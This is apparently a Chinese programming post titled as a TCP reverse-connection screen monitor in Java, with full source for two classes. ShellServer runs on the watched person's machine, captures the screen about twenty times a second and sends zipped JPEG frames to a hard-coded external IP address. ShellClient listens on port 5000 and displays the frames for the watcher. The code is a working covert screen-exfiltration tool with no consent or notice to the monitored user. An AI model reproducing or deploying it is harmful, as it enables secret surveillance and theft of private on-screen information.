JAVA用TCP实现反向连接屏幕监视

以下这个为服务器类 被监视的用户

import com.sun.image.codec.jpeg.JPEGCodec;
import com.sun.image.codec.jpeg.JPEGImageEncoder;
import java.awt.Dimension;
import java.awt.Rectangle;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.image.BufferedImage;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.Socket;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
public class ShellServer extends Thread{
private Dimension screenSize;
private Rectangle rectangle;
private Robot robot;
private JPEGImageEncoder encoder;

public ShellServer() {
screenSize = Toolkit.getDefaultToolkit().getScreenSize();
rectangle = new Rectangle(screenSize);//可以指定捕获屏幕区域
try{
robot = new Robot();
}catch(Exception e){
e.printStackTrace();
System.out.println(e);
}
}
public void run(){
ZipOutputStream os = null;
Socket socket=null;
while (true){
try{
socket = new Socket("220.173.44.158",5000);//连接远程IP
BufferedImage image = robot.createScreenCapture(rectangle);//捕获制定屏幕矩形区域
os = new ZipOutputStream(socket.getOutputStream());//加入压缩流
//os = new ZipOutputStream(new FileOutputStream("C:/1.zip"));

os.setLevel(9);
os.putNextEntry(new ZipEntry("1.jpg"));
JPEGCodec.createJPEGEncoder(os).encode(image);//图像编码成JPEG
os.close();
Thread.sleep(50);//每秒20帧
}catch(Exception e){
e.printStackTrace();
}finally{
if(os!=null){
try{
os.close();
}catch(Exception ioe){}
}
if(socket!=null){
try {
socket.close();
} catch (IOException e) {
}
}
}
}
}
public static void main(String[] args) {
new ShellServer().start();
}
}

以下这个为客户端类 监视者

import java.awt.*;
import java.awt.image.BufferedImage;
import javax.imageio.ImageIO;
import javax.swing.*;
import java.io.*;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.zip.ZipInputStream;
public class ShellClient  extends JFrame{
Dimension screenSize;
public ShellClient() {
super();
screenSize = Toolkit.getDefaultToolkit().getScreenSize();
this.setSize(800, 640);//设置Frame初始
Screen p = new Screen();//屏幕类
Container c = this.getContentPane();
c.setLayout(new BorderLayout());//布局
c.add(p,"Center");//添加一个Panel
new Thread(p).start();//开启线程
this.show();//显示本Frame
}
public static void main(String[] args){
new ShellClient();
}
class Screen extends JPanel implements Runnable{
private Image cimage;
public void run(){
ServerSocket ss=null;
try{
ss=new ServerSocket(5000);//探听5000端口的连接
while(true){
Socket s=null;
try{
s=ss.accept();//获取一个SOCKET
ZipInputStream  zis=new ZipInputStream(s.getInputStream());
zis.getNextEntry();//获得ZIP流的ENTRY
cimage = ImageIO.read(zis);//把ZIP流转换为图片
//cimage = ImageIO.read(new FileInputStream("c:/1.jpg"));
repaint();//重画
}catch(Exception e){
e.printStackTrace();
}finally{
if(s!=null){
try {s.close();} catch (IOException e) {}
}
}
}
}catch(Exception e){}
finally{
if(ss!=null){
try {ss.close();} catch (IOException e) {}
}
}
}
public Screen() {
super();
this.setLayout(null);
}
public void paint(Graphics g){
super.paint(g);
Graphics2D g2 = (Graphics2D) g;
g2.drawImage(cimage, 0, 0, null);
}
}
}